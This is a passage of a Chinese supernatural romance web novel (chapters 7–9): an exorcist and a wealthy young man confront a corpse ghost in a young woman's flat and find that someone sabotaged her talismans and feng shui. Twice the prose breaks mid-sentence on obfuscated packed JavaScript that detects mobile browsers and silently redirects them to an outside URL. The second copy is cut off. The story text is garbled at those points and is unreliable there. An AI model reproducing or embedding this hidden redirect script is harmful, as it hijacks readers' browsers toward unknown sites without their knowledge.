“那个风铃,”他问,“你怎么处理的?” 许瑶愣了一下:“因为我想问清楚风铃的事,就和卖法器的师傅提了一嘴,他给了我一个盒子,让我按照他的指示封存起来。” 陆叙皱了皱眉,按理说封起来就更不会出问题了,到底是怎么回事? “现在它还在你屋里吗?” 许瑶点点头:“我当时太害怕了,只想赶紧离开,什么都没拿……” 陆修望开口:“我让人去取。” “不用。”陆叙站起来,“我得自己去一趟。” 他把陆修望拉到门外,语气难得严肃:“小陆,你能不能帮我照看她一会,这件事有古怪,我得去她房间里再看看。” “我都不认识她,我留在这干嘛,我陪你去。” “那……” “我安排人过来守着她,有什么要求你说就是了。” 陆叙点了点头:“没什么特殊的要求,但如果今晚我还处理不了这件事的话,最好是两个人轮流看着她,她不能睡太久。” 陆叙转身往屋里走,陆修望跟了上去,问:“很严重?” “嗯。”陆叙的表情凝重,“那个风铃不只是聚阴那么简单。它可能是某种媒介,把那东西引过来了。” “鬼?” “对。” 7. 第 7 章 陆修望打了几个电话,安排了一男一女,都是陆家的人,做事靠谱,八字很硬。 三人先行找了一家酒店等待,陆叙守着许瑶睡了一会,把她带来的法器布置好,又在门外贴了个不会引人注目的小符,房间四角也放上了蜡烛。 许瑶安稳睡了一觉,她醒来时,陆修望安排的人也到了,还带上了陆叙交代的一些药材。 陆叙见到他们,简单交代了一些注意事项:“不要让她一个人待着,不要让她一次性睡太久,也不要让她单独进卫生间。如果她说看见了什么,或者听见了什么,立刻给我打电话。” 说完,他从包里掏出一个小铃铛和一包茶叶。 “如果她睡得不安分,就用这东西把她唤醒。”陆叙把铃铛递给那两人,“这茶,配上那几味中药,用袋子包好,晚上十一点以后戴在身上,不仅是她,你们最好也戴上。” 两人点点头,接过东西。 陆叙又指了指房间四角的蜡烛:“如果发现什么不对劲的,你们按顺时针依次点燃蜡烛即可。” 陆叙又看向许瑶:“你跟着他们,别太害怕,这里很安全,我处理完就回来。” 许瑶点了点头,拉住陆叙的袖子:“你自己小心,注意安全。” 陆叙冲她安抚地笑了笑,这才转身往外走,陆修望冷哼一声跟了上去。 两人随便吃了点饭就火急火燎上了车,司机往小区开,现在已经六点多,再回工作室拿工具已经来不及了,反正有陆修望这个天然掩体跟着,这一趟也不会出什么大问题,先去看看情况再说。 陆叙靠在座位上,闭着眼休息,过了一会儿,他突然开口: “其实你没必要跟着我去的,你们这种身份的人,最好还是避开污秽之地,以免坏了家里生意。” 陆修望侧过头看他:“这有啥?你不是说我百邪不侵吗?” “也对,我差点忘了,你是灵异爱好者嘛,你肯定也想亲身经历一下这些事。”陆叙了然地看了一眼陆修望,“跟着我不会有事,但如果是其他人邀请你参加这种灵异活动,你最好别轻易答应。” 陆修望:“……” 他真的不知道这人怎么总爱给自己安这个奇怪的人设。明明之前就说过了,他只是听陆叙讲故事有一点好奇而已,哪来的什么爱好者,什么灵异活动。 “我是怕你死里面。”陆修望没好气地说。 陆叙睁开眼,笑嘻嘻地看着他:“我就知道你担心我,你们这个年纪的男生,像你这样有同理心的不多了。继续保持,虽有隐疾,但也不至于当一辈子童子。” 陆修望:“……” 他觉得自己就不应该接茬,每次接一句都要被陆叙气死。 陆叙似乎很满意陆修望吃瘪的表情,心情不错地哼起了歌。 一个小时后,两人站在许瑶家门口,陆修望观察着这里的环境,小区院子里人声嘈杂,看起来很热闹,楼道里也敞亮干净,不像有什么问题的样子。 “我在门外等着你?有没有什么需要我做的?” “你不想进去看看?” 陆修望愣了一下:“我进去不会影响你操作吗?” “你不会影响已经存在的东西。”陆叙解释,“那些脏东西不能近你身,不能上你身,也不能影响你的气场,但你没练过,你的存在改变不了什么。” “那我进去有什么用?” “壮胆啊。”陆叙很直白,“而且万一出什么意外,你在旁边我也安全点。” 陆修望挑了挑眉:“所以你是把我当人形护身符?” “可以这么理解。”陆叙笑了一下,“不过你放心,我不会让你白干活的。这次算你帮忙,回头请你吃饭。” “不用。” “那不行,欠人情我不习惯。”陆叙说,“就这么定了。” 陆修望没再说话,他看着陆叙的侧脸,对方的表情比平时严肃了一些,眉头微微皱着,眼神也沉了下来。 虽然嘴上还在开玩笑,但陆修望看得出来,陆叙其实很紧张。 或者说,很谨慎。 门开了,一股阴冷的气息扑面而来。 陆叙站在门口,没有马上进去。他皱着眉,鼻子微微抽动了一下。 陆修望跟在后面:“怎么了?” “……没事。”陆叙走进屋里,打开了客厅的灯。 明亮的灯光驱散不了屋内的怪异,陆叙慢慢转了一圈,表情越来越凝重,屋里还剩下几件零散的法器,位置都不对。 他走到卧室门口,门是开着的,内部气场非常混乱。 陆修望也走过去往里看,卧室很小,一张单人床,一个衣柜,一张书桌,许瑶走得匆忙,床头小灯还亮着,被子也凌乱地堆着。 陆叙皱着眉走进卧室,环顾四周,床头柜上摆着几张黄色的符纸,上面画得满满当当,是镇煞安眠的,窗台上有两张,衣柜顶上有三张,都是不同的功能。 陆叙蹲下身,又从床底又拉出几张符纸。 陆修望凑过去看:“许瑶怎么买了这么多符?” 陆叙没回答,只是把那些符纸翻过来看了看。 “不全是她买的,但位置全错了,”他说,“符放错位置就会失去效用,法器也不能随便摆,要按照方位、五行、气场来摆,这样乱摆,不仅起不到驱邪的作用,反而会破坏房间的风水。” 他又找出几张符,递给陆修望,那些符纸上什么都没画,就是空白的黄纸。 陆叙站起来:“法器店只会卖成品给客户,特别是许瑶这种一窍不通的。” 他看向房间,眼神变得复杂: “有人进过这个房间,巧妙的改变了法器位置,破坏了风水,还放了这些空白符,十有八九就是想害许瑶。” 陆修望握着那几张空白符:“她看起来年纪轻轻的,怎么就和人结下这么大的仇了?” “这倒不一定,也有可能像你家一样,是老一辈的恩怨,具体的明天得找她问清楚。”陆叙补充,“现在只能确定,害她这人懂行,或者背后有人指点。” 陆叙把符放回原位,回到客厅,从抽屉里取出那个装着风铃的盒子,打开盖子放桌上。 关上灯,在客厅中央点上那几支仅剩的蜡烛。 陆修望好奇地问:“真会有鬼吗?” 陆叙告诉他:“先等着吧,时间还没到,通道还没形成。” 俩人你一言我一语聊了会天,时间很快过了零点,屋内更冷了,陆修望被冷得一哆嗦,转头一看,陆叙的动作也突然顿了一下。 陆修望问他:“你怎么了?” “……没事。”陆叙的声音有点紧。 但陆修望看得很清楚,陆叙的手臂上起了一层细密的鸡皮疙瘩。 陆修望观察着陆叙,陆叙不是像他那样被冻的,他明显是发现了什么。 “你……” 陆叙突然抬起手,示意他别出声,一阵窸窸窣窣的声音在屋内响起,很轻微,就那么一秒,很快听不到了。 陆叙声音疑惑:“这栋楼又死人了,有人发丧,把这些玩意都引过来了。” 陆修望皱起眉:“你怎么知道?” “你听不到,是纸扎的声音,”陆叙简短地解释,“纸衣服见过吧,许瑶说的类似塑料袋被风吹动的声音,就是丧葬品摩擦空气的声音。” “一般孤魂野鬼,没人安葬没人烧纸,会被别人的贡品吸引过来,我上次来的时候没听到。” “大多数撞鬼或者遭遇鬼压床的人,如果留神听,都会听到这种声音,这不是实体物件发出的声音,是地下那玩意带着贡品走动的声音。” 又过了几分钟,陆叙突然站起来,往陆修望身边靠了靠。 “你站中间点。”陆叙说。 “怎么了?” “让你站中间点。”陆叙抓着陆修望的袖子,把他拉到房间中央站在蜡烛旁,“那些东西不肯现身,我在你旁边转悠看看。” 陆修望被他拉着走,有点好笑:“你这是?” “借你的阳气。”陆叙承认,“你站在这儿,那些东西不敢太靠近我。” “我这个护身符这么快就起作用了?” “对,”陆叙理所当然,“这就是你入行的第一项考验。” 陆修望笑了一声,倒也没拒绝,就站在那儿任由他拉着。 陆叙围着他转悠,时不时看看天花板,或者伸手摸摸墙壁。每次走远一点,很快又会回到陆修望身边。 “来了。”陆叙突然低声说。 “什么来了?” “阴气,”陆叙安排,“往我这边靠靠。” 他几乎是贴着陆修望的后背站着,整个人都躲在陆修望的保护范围里。 陆修望能感觉到陆叙的呼吸有些急促,还有对方抓着自己的衣服下摆的手指在逐渐收紧。 “你不是干这行的吗?”陆修望忍不住笑了,“怎么怕成这样?” “我怕个屁!”陆叙冷哼一声,“这是感应到了脏东西,身体本能的反应,你懂什么?” “那你怎么还抓着我衣服?” “……抓你一下不行吗?”陆叙说,“又不会破你童子身,你计较这么多干嘛?” 陆修望又生气又好笑,这种场合开玩笑怼回去显然不太合适,他没再说话,也就是此刻,他突然觉得房间里安安静静的,有些怪异。 陆叙眉头始终紧紧皱着,他从一开始只是抓着陆修望的衣服,到后来直接拽着陆修望的胳膊,再到最后几乎整个人都靠在陆修望背上。 “妈的……”陆叙咬着牙,“这味道……快把我臭死了……” “什么味道?”陆修望还是什么都闻不到。 “腐烂的臭味,尸体泡在臭水沟里几个月的那种味道……”陆叙的声音像是强忍着恶心,“而且就在我鼻子前面绕……陆修望,你能不能靠近我一点?” “我已经很挨着你了。” “那你……”陆叙犹豫了一下,“算了,你转个身。” “你又要干嘛?” 陆修望无奈转过身,和陆叙面对面站着,陆叙深吸一口气,伸手直接抱住了陆修望,靠进他怀里。 “你——”陆修望愣了一秒。 “别动,我有点被影响了。”陆叙的声音闷闷的,“你阳气最强的地方在胸口,离近点效果好。” 陆修望:“……” 他低头看着抱着自己的陆叙,对方把脸埋在他胸口,手心贴着自己的背。 平时那么嘴硬的一个人,现在似乎是害怕,还这么依赖着他,说实话,挺好玩的,还有点可爱。 “行吧,”陆修望抬手环住陆叙的背,“那你抱着吧。” “……谢了。” 时钟跳到三点十六的瞬间,陆叙面前的蜡烛灭了。 没有风,没有任何征兆,火苗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099170|195686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就这么突然熄灭了。 下一秒,陆叙整个人猛地往后仰,嘴里吐出一句:“操!” 陆修望眼疾手快地搂住他的腰,把人拉回来。 “你怎么了?!” 陆叙心脏跳得很快,但因为被陆修望紧紧抱着,那东西似乎没能碰到他。 “有鬼吹灯,而且那东西过来了。”陆叙低声骂了一句,“黑色的一团,还没完全——” 话没说完,他整个人猛地僵住了。 它打的像出现了。 不再是黑影,没有预兆,那张脸几乎是直接贴上来的。 太近了,近到陆叙根本来不及看清整体轮廓,只能看见一双被挤出眼眶的眼睛,然后是乌黑肿胀的脸庞,它贴着陆叙的脸,嘴角缓慢地向上拉,像是在确认陆叙是不是看见他了。 这是恐吓,专门冲他来的,陆叙整个人僵住,凉意从脚踝往上爬,他知道这东西在试探,只要他退一步,只要他慌乱,它就会顺着那点漏洞影响陆叙的神智,击垮他的心理防线。 陆修望在他旁边,什么都没看到。只是觉得陆叙突然不对劲,手心冰凉,像是被人迎面泼了盆冷水,一语不发,整个人僵在他怀里,连呼吸都停了一瞬。 “你怎么了?”陆修望赶忙把人抱紧了一些。 那东西的脸动了一下,然后它开口了,声音贴近陆叙耳朵,很清楚地吐出了两个字,是人类听不懂的语言,音节伴随着潮湿的水汽声,同时还有刺耳的摩擦声。 见陆叙毫无反应,他开始模仿陆修望的话:“你怎么了?” 声音贴着耳朵传来,带着明显的恶意和恐吓。 陆叙想说话,发现自己发不出声音。喉咙像是被什么掐住了,下一瞬,那张脸猛地逼近,在陆叙眼前渗出黑黄色的尸水,皮肤开始脱落,幻象几乎要贴进陆叙的皮肤里,冷意顺着鼻梁灌进脑子,意识开始发空。 陆修望搂紧陆叙的背,陆叙没说话,但他的反应已经说明了一切——这人正在被什么东西影响。 他拍了拍陆叙的脸颊:“别走神。” 声音不大,却很平稳,那种现实感把陆叙从那股抽离里硬拉了一把。 就是这一下,陆叙脑子里突然闪过一个断裂的片段,不是完整的记忆,是以前听过、记不全的东西,旧咒残句,不是给他这种师出无门的人用的。 但现在没有别的办法。 陆叙顺着那点被拽回来的意识,硬把气稳住。他没再管眼前那张脸,只是低下头对着空气,嘴里念念有词。 声音像是从喉咙里挤出来的: “法脉在上,弟子不在名册,无师可证,无印可呈,今……,借祖本旧令。” “祖炁未散,旧令尚存。上承祖法,下请二师。” 陆修望愣了一下,他从没听过陆叙用这种语气说话,不是平日里和他开玩笑那种吊儿郎当,也不是他认真时那种严肃冷静的声音,而是一种很古老、很沉重的腔调,不太像是陆叙本人在说话。 贴在陆叙脸前的那东西第一次停滞住了。 陆叙抬眼直视着黑色的虚空,除了第一个肿胀的尸体,其余黑色的雾状物体也想靠近,发出嗡嗡声,试图影响面前这两位不速之客。 陆叙稳住身形,继续念着那篇残损的祖本二师咒,语调缓慢,但讲出来的话陆修望却听不太懂了。 “旧令残…,借……令。” “名不可…,身不…近。” “只请行令,不请…身。” “……” 空气开始变重,一种比恶鬼更沉重的气场,把屋内扭曲的灵体强行拉回了原位。 陆修望甚至都能感觉到房间里的气场变了,那种让陆叙说不出话的东西,似乎被什么压制住了。 那个黑影开始被莫名的力量拽住往后退,很慢,很不甘心,它挣扎着还想冲上前。 奇怪的鬼鸣声还在屋内萦绕,逐渐减弱,但视线仍死死盯着陆叙,它没法再生出异像,泡发后的眼球和舌头松散地落在外面,看起来非常恶心,身体肿胀,又像蜡一样化开,滴落在黑暗中,这是他原本的死状。 最后一句落下时,陆叙声音几乎已经哑了。 “非其道者,退。” “非其界者,散。” “二师在令,止于此处。” 话音断掉的瞬间,冷意骤然抽离,那张脸像被人从空间中擦除,被他影响的气场恢复平稳。 陆修望莫名感觉屋里突然恢复了声音,远处有车经过,小区院子里有鸡叫的声音,走廊里还有宠物狗压抑的哼唧声,但刚刚屋外是否是安静的,他却没什么印象了。 他低头看向陆叙,陆叙靠在他怀里,整个人像是被抽空了力气,额头上全是汗,脸色苍白得吓人。 “结束了?那东西走了?”陆修望问。 陆叙没立刻回答,他喉咙疼得厉害,脑子里一片空白,只剩下一股难以言说的钝痛。 他缓了一会,抬起头,露出一个烦躁的表情: “妈的,暂时没事了,先走吧。” 陆叙声音哑得不行,陆修望皱起眉:“你还行?” “还行,”陆叙说,“扶我一把。” 陆修望搂着他,陆叙的腿有点软,几乎是被陆修望半拖着走的,他收起风铃,又走进卧室取走先前的那几张符,拿起自己的背包往门外走,陆修望怎么看怎么不得劲,干脆把人拦腰抱起来,快步走出屋子下了楼。 8. 第 8 章 陆修望抱着陆叙下了楼,天还没亮,月光洒在两人身上,夜风带着凉意。 陆叙靠在陆修望怀里,他能感觉到陆修望的心跳。沉稳,很有力量,一下一下在他耳边震动。 陆修望步伐很稳,但走得有点快,陆叙被颠得有点难受,忍不住开口:“慢点,我又不是要死了。” “闭嘴休息吧你。”陆修望没好气地说,但确实放慢了脚步。 陆叙抬眼看他,陆修望的下巴线条很好看,喉结上下滚动了一下,看起来有点紧张。 “不过,”陆叙突然开口,“你这突然搞这一出是在干嘛?” “我又干嘛了我?”陆修望面无表情。 “我是说,”陆叙顿了顿,真有点搞不懂,“为什么要抱我?” 陆修望脚步停了一下,他自己也不知道为什么会做这种事。明明陆叙只是腿软,但他看着对方那副虚弱的样子,不知道怎么回事,脑子一抽,就直接把人抱起来了。 “……怕你从楼梯上滚下去摔死。”陆修望想了想,给自己找了个理由。 “怎么感觉你把我当废物了?”陆叙语气里没什么抱怨的意思,反而带着点促狭,“不过男大就是好啊,有力气,说说,你平时都怎么健身的?有几块腹肌啊?” 陆修望莫名感觉耳根有点热:“我已经毕业了,还有,你能不能正经点?” “我很正经啊。”陆叙笑了一声,“我夸你呢,怎么还不高兴了?” 陆修望没再说话,加快脚步往小区外走。陆叙也没再开口,只是安静地窝在他怀里,努力平复身体的不适。 他突然意识到,自己好像从来没和人这么亲密过。 现在突然来这么一下,这种感觉还真有点奇怪。 陆修望把陆叙放进后座,动作意外地温柔,像是怕弄疼他,陆叙闭着眼缓了一会,陆修望买了些吃的,又拧开一瓶水递过去。 “先喝点水。” 陆叙接过来喝了几口,喉咙的刺痛感总算缓解了一些,也恢复了一点活力。 陆修望看着他,犹豫了几秒,还是问出了那个憋了一路的问题: “你刚才念的是什么?我怎么完全听不懂?” 陆叙睁开眼,转头看向他,嘴角勾起一个笑: “这东西很阴,你确定你想知道?” “想,你刚才的状态很不对劲,到底发生了什么?” 陆叙盯着他看了几秒,像是在思考要不要说实话。过了一会,他轻咳了一声,清了清嗓子,脸上露出一个严肃的表情。 陆修望也正了正身子,准备听他解释。 然后陆叙开口了: “急急那如律令是我的家乡。” 陆修望愣了一秒。 “世间万物他皆为我所用。” 陆修望这才意识到陆叙又在耍自己,他伸手捏住陆叙的嘴,气急败坏道:“你他妈怎么能阴成这样?!” 陆叙被捂住嘴,但眼睛却弯了起来,显然憋笑憋得很辛苦:“我提醒过你了,是你非要好奇。” 他的眼尾微微上挑,睫毛在灯光下投出一小片阴影,那双本来就带着点轻佻的眼睛此刻得意又促狭。 陆修望愣住,似乎有电流从脑海闪过,连带身体也麻了一下,陆叙趁机挣扎着把陆修望的手拉开:“你这什么表情?哈哈哈……太蠢了……” 陆修望闭了闭眼,告诉自己不要和病人吵闹,但视线却不自觉停留在陆叙脸上,这个人平时对着他不是发火就是嘲讽,此时此刻却是真实笑着的,眉眼都舒展开,那种平时吊儿郎当的神态此刻变得格外生动。脸上带着点少年气的轻快,那颗小痣放佛随着笑容晃动,整个人看起来鲜活得不行。 陆修望盯着他,再一次觉得心脏被什么东西轻轻撞了一下。 很奇怪的感觉,就是觉得心口有点发烫。 还有一种说不清道不明的熟悉感,就好像很久以前,他也见过这样的笑容。 但陆修望确信自己之前根本不认识陆叙,这种熟悉感从何而来? 注意到陆修望还在盯着自己看,陆叙偏了偏头,脸上的笑意收敛了一点。 “你怎么了?”他问,“干嘛一直盯着我看。” 陆修望回过神,赶紧移开视线:“没什么。” 陆叙盯着他看了几秒,看他没什么异常,表情恢复了平日里的懒散:“行了行了,不逗你了。” 他靠着椅背,语气认真:“刚才那个,是祖本二师咒,一般人最好别打听。刚刚那一段我都不能确定是哪一家的,只是偶然听到过。” 陆修望皱起眉:“什么什么咒?” 陆叙说:“祖本二师,不是你想的那种诅咒,是……怎么说呢,借力的。” “借谁的力?” “借本门的力,祖本是指本门本派。”陆叙解释,“这行有很多派别,五花八门,好坏都有,每个派别都有自己的祖师。” “二师就是祖师座下护法,也就是正儿八经可以帮助弟子的那一位,如果你是正经拜过师的弟子,遇到搞不定的东西,可以请本门二师帮忙镇压,这就是祖本二师咒。” “一般人没接触过这些,遇到脏东西,可以用流传比较广的雷法来解决。” “但刚刚情况凶险,必须得请本门护法,”他顿了顿,“这个残咒算我偷听来的,无法溯源,不知深浅,但好在还是起作用了。” 陆修望盯着他:“所以你现在这样,就是因为念了那个?” 陆叙摇了摇头:“这倒不是。先不说这个了,我得先回我工作室一趟,你也跟着我累了一天了,如果不介意的话,可以去我那里休息。” 陆叙的工作室在市区的一栋居民楼里,周围环境还算不错,陆修望跟着他上了楼,陆叙掏出钥匙开门时,手指还有些微微颤抖。 门推开,里面是个小小的一居室,客厅被改成了工作区,到处堆着书和资料,还有乱七八糟的游戏周边游戏设备,茶几上摆着两台电脑和几瓶未开盖的饮料,墙角还有几个没拆的快递箱子。虽然东西堆得乱七八糟,但能看出来是有在收拾的,很干净,还有一股淡淡的木香味。 “进来吧。”陆叙把背包扔在沙发上,转身看向陆修望,“你先去洗个澡,浴室在那边,新毛巾在架子上。” 见陆修望还在四处打量,他又补充:“这是我自己的房子,放心吧,很干净。” 他从卧室里拿出一套睡衣扔给陆修望:“不介意的话先穿我的。” 陆修望接过睡衣,去了浴室,热水冲刷在身上,他才终于放松下来。 陆叙的睡衣穿在他身上并不合身,布料贴在身上,能闻到一股淡淡的香味,不是洗衣液的味道,更像是陆叙身上的气息。 陆修望愣了一下,突然想起刚才把陆叙抱在怀里的感觉。那个人看起来身高腿长,比例很好,但抱起来的时候才发现他其实很瘦。 长点肉应该会更好看。 这个奇怪的念头突然涌现在脑海,陆修望自己都吓了一跳。他甩了甩头,把这些乱七八糟的想法赶出去,他不知道自己最近怎么了。 陆叙没看错,他确实不止天干全阳,藏干也是全阳,前二十年的人生一直顺风顺水风平浪静。 他虽然不是陆叙说的不行,但确实没有什么纯阳之人那种特别重的欲望,没有非要不可的东西,没有非做不可的事。 但这段时间和陆叙在一起,他却觉得陪他玩游戏,给他当护身符是一件理所应当的事,这种感觉很奇怪,和他觉得陆叙熟悉一样莫名。 走出浴室,客厅里点着几支蜡烛,陆叙坐在地板上,面前摆着那个风铃和几张符纸。他手里拿着一支毛笔,正在纸上写着什么,神情专注,眉头微微皱着。 陆修望走过去,在他旁边坐下。 烛光在陆叙脸上跳动,那张平时总是带着点轻佻的脸此刻显得格外认真。他低着头,睫毛在眼睑下投出一小片阴影,脖颈的线条在昏暗中若隐若现。 陆修望的视线不自觉地落在那截白皙的脖颈上,然后他注意到靠近锁骨的地方有一颗小痣。 和鼻梁上那颗一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“那你自己的安全呢?”陆修望问。 “我心里有数,这种事情其实并不棘手,只是我的道具在你家老宅全用完了。”陆叙写完最后一笔,把乱七八糟看着瘆人的符纸用蜡烛烧毁,“你这个人形护身符只能保护我,不能帮助我,所以刚才看起来有点困难。” “那我怎样才能帮到你?” 陆叙把风铃放进木盒子,盖上盖子,又在盖子上贴了张符,“你就安心做你的大少爷吧,我的道具多得是,用不着你。” 陆修望被他这无所谓的语气噎住。 陆叙做完这些,整个人往后一靠,直接躺在了地板上。 “累死了。”他闭上眼,“我现在真的一点力气都没有了。” 烛光映在他脸上,脸色有些苍白,嘴唇也没什么血色。 陆修望问:“你念的那个咒,对身体有影响吗?” “可能会有。”陆叙睁开眼,转头看向他,“那个咒本来不是给我这种没师承的人用的,强行请来别门二师,可能会有后遗症,但目前看来并没有。” “没有?那你怎么看起来这么难受?” “不是什么大问题,除了你这种体质,普通人在磁场不对的环境里都会产生不好的生理反应,发烧,呕吐都是常见的。” 陆修望皱眉:“真没事?” “是没什么大事啊。”陆叙眨了眨眼,“你知道的,我经常熬夜打游戏,就是会有点虚,容易累,睡一觉就好了。” 没什么大事,那为什么许瑶长期住在那里并没有这么虚弱? 陆叙撑着地板坐起来,动作有点慢。陆修望下意识伸手扶了他一把。 “谢了。”陆叙站起来,指了指卧室的大床,“你可以睡沙发,如果不舒服,也可以和我睡卧室。” 陆修望有点想跟着他进去,想了想又觉得有些冒犯,最后躺在沙发上迷迷糊糊睡了过去。 9. 第 9 章 眼前是一片雾蒙蒙的白,陆修望站在一个完全陌生的地方,四周是茂密的树林,空气里弥漫着淡淡的草木香气,他正疑惑自己为什么会在这里,就看见前方的雾气里站着一只白色的狐狸。 狐狸不大,毛色雪白干净,蓬松柔软。它看了陆修望一眼,然后转身往树林里走了。 陆修望下意识地跟了上去。 白狐带着他穿过树林,走了很久,停在一座山前。山很高,山顶隐没在云层里,半山腰处似有一处院落,山脚下有一条小路,蜿蜒向上,两旁种着一些叫不出名字的树木。 白狐又回过头看了他一眼,眼睛里带着某种说不清的情绪,像是期待,又像是等待。 然后它转身,消失在雾气里。 陆修望想追上去,但脚步却怎么也迈不开。他盯着那座山,突然觉得心口一阵发紧,像是有什么很重要的东西就在那座山上。 “陆修望。” 有人在叫他的名字,声音很轻,像是从很远的地方传来。 “陆修望。” 声音越来越近,陆修望猛地睁开眼,声音消失了,脑海里还回荡着刚才梦境里的画面。 太清晰了。 清晰到他还记得白狐的模样,能记得那座山的轮廓,还有山脚下那条小路的模样。 陆修望闭着眼睛缓了好一阵,很怀疑是不是最近和陆叙相处太多,那人又长得像狐狸,所以才会做这个奇奇怪怪的梦。 直起身时陆修望听到了自己关节的声音,沙发对于他的身高有点太小了,身上多出来的两条毯子顺着身体滑落,他这才发现陆叙已经起了,正穿着睡衣坐在一旁,神情专注盯着电脑屏幕。 “你醒了?” 陆叙转头看向他,揉了揉眼睛,那个动作确实有点像小狐狸,眼睛眯起来,鼻子微微皱着,看起来困得不行。 陆修望突然很想笑。 “你在查什么?”他走到陆叙身边,看向电脑屏幕,屏幕上是一些新闻报道和论坛帖子,都和许瑶住的那个小区有关。 “查查那个小区。”陆叙又在喝那种颜色奇怪的水,声音有点刚睡醒的喑哑,“想看看以前有没有出过什么事。” 陆修望看着他那副困得睁不开眼的样子,忍不住说:“你想查什么直接告诉我,我让人去查,你这样得查到什么时候?” 陆叙愣了一下,转过头看向他。 “这件事和你没关系。”陆叙语气有点犹豫,“昨天你已经帮了我很多了。” “你说这些干嘛?你帮我的更多。”陆修望说。 陆叙盯着他看了一会,像是在判断他是不是真心的。过了几秒,他点了点头: “那就麻烦你了。” “说吧,想查什么?” “看看这个小区有没有出过人命案子。”陆叙说,“或者非正常死亡。” 陆修望掏出手机,打了几个电话。陆叙听着他简洁地下达指令,然后挂了电话。 “那个……谢谢啊。还有,不好意思,对你态度不是很友好,”陆叙突然开口,“其实你人还不错,之前是我先入为主了。 “小事而已。”陆修望也难得反思了一下自己的行为,“之前是我的态度有问题,我不太懂……怎样正确和人沟通。” 陆叙笑了一下:“那以后我们两个都不太会和人相处的人就是朋友了。” 陆修望咀嚼着“朋友”这个词,却看到陆叙站起来伸了个懒腰,走到窗边拉开窗帘,阳光瞬间洒进房间,陆叙眯起眼睛,侧脸的线条在光线下显得格外清晰。 陆修望看着他的背影,突然又想起了那个梦,那只白狐回头看他的时候,眼睛是琥珀色的。 陆叙转过头,发现陆修望又在盯着自己看,忍不住问:“你又怎么了?” 陆修望盯着他琥珀色的眼睛晃了晃神,转移了话题,指着他手里抱着的保温杯问:“你这玩意到底是什么?补药吗?感觉你喝了这个精神好了很多。” 陆叙狐疑地打量着他:“这只是普通温补药,治疗长期熬夜导致的脾虚,对你那隐疾没用,别瞎打听啊。” “我他妈没有隐疾!” “没有就没有吧,都说了大家是朋友,等我研究出方法肯定帮你,你急什么?” 陆修望感觉那股莫名的胜负欲又上头了,脱口而出:“我有隐疾?你是不是想来试试看我行不行?” 陆叙瞪大了眼睛,显然没料到这个平日里成天端着的人会口出狂言,陆修望面上不屑,心里却觉得自己像个变态,恨不得找个地缝钻进去。 “……” “……” 这一出搞得两个人都尴尬得不行,好在陆修望的人及时把资料送了过来,拯救他于水火之中。 陆修望把文件袋和照片集递给陆叙,陆叙接过来,走到桌边坐下,开始翻阅。 陆修望站在旁边,也跟着看,文件很详细,记录了那个小区过去二十年的所有重大事件。 “找到了。”陆叙突然说。 陆修望凑过去看,是一篇案情报道,报道里说,小区里一位独居男子在家中猝死,因为那层楼当年只有他一户人家入住,死后多日才被楼下住户发现,发现时正值夏天,尸体已经高度腐败,呈巨人观状,整个房间都是尸水。 陆修望看着那些黑黑红红的照片,心头泛起一阵恶心,陆叙却看得津津有味。 “就是这个。”陆叙指着那具牙齿裸露在外的尸体,“和我那天看到的那玩意一模一样……” 他翻到下一页,看见了详细的地址:“而且出事的楼层就在许瑶楼上。” 陆修望也看见了那个地址,忍不住问:“所以那个鬼是从楼上下来的?” “对。”陆叙点点头,“男子是洗澡时猝死的,尸水混着地面上的水,顺着老旧的瓷砖缝隙渗入水泥,还有一部分随着年久失修的下水管渗入墙壁。” 他想了想,继续说: “那栋楼很老,我之前去许瑶家查看过,屋顶重新做过全屋防水,再往前就不一定了。尸水渗进去之后,又往楼下滴。你想想,许瑶每晚听到的水滴声是从哪里来的?” 陆修望想起陆叙简单提过的事,水滴声是从厨房和卫生间传来的。 “尸水往楼下滴了一段时间,楼下房东不知情,以为楼上不讲卫生,想上楼理论,闻到楼道里传来的恶臭,这才报了警,虽然后来被清理了,但痕迹已经存在。” 陆叙继续翻看后面的资料:“男子当时还有亲人,但他们并没有出面为他处理后事,后续共同处理尸体的物业和社区也没想到给他超度,他的怨气还残留在单元楼里,只是很微弱。” 陆修望皱起眉:“微弱?那它怎么跑许瑶家里去了?而且那晚还那么凶险?” “风铃原本只是动气之物,被置于煞位,气不散反聚,声响是引子,久而久之,阴气被反复牵引,本不该靠近的东西,被这股持续的动静误以为此处有位可依,渐渐向此处聚拢,最开始风铃挂在阳台尖角位,我以为是无心之失。” “昨晚我检查过,摆放风铃的法器封口被动过,位置也是在客厅最突兀且看起来长期不使用的长柜里,这也是一个隐煞位。” 陆叙接着解释:“铜镜本为照煞之器,一般只挂于窗外门外,挂在门内必须讲究位置,那天我看到风铃就猜到了,镜子位置绝对被人动过,乱挂的镜子将已聚的阴气反复回折,形成内困之势,气场在两者之间反复回旋,形成一个会自我强化的负场,久而久之,镜子也不再能镇煞,只能养祸。” 他把文件放在桌上,靠向椅背:“凶宅本就不是许瑶租住的那间屋子,因为有人故意做局,那些脏东西才会聚在她那里。” “我让人去查查房东和楼上的住户?” “这倒不用了,如果没人在房间里设局,根本不会影响在楼下的房间,这件事和他们应该没关系,我只是为了验证一下猜测。” 陆修望追问:“那又是谁想害她?” 陆叙心里其实已经有了点猜测,但现在说出来未免太早。 “一时半会也说不清。”他说,“我得先和许瑶对接沟通一下,问清楚一些事情。” 陆修望知道陆叙做事有分寸,该说的时候自然会说,也没再追问。 “那走吧。”陆修望说,“趁早。” 两人收拾了一下,驱车回到酒店,有两个人陪着,许瑶看起来休息得很好,精神看起来还不错。 “陆先生,”她冲着陆叙打招呼,又转头看向陆修望,“还有……” “我也姓陆。” 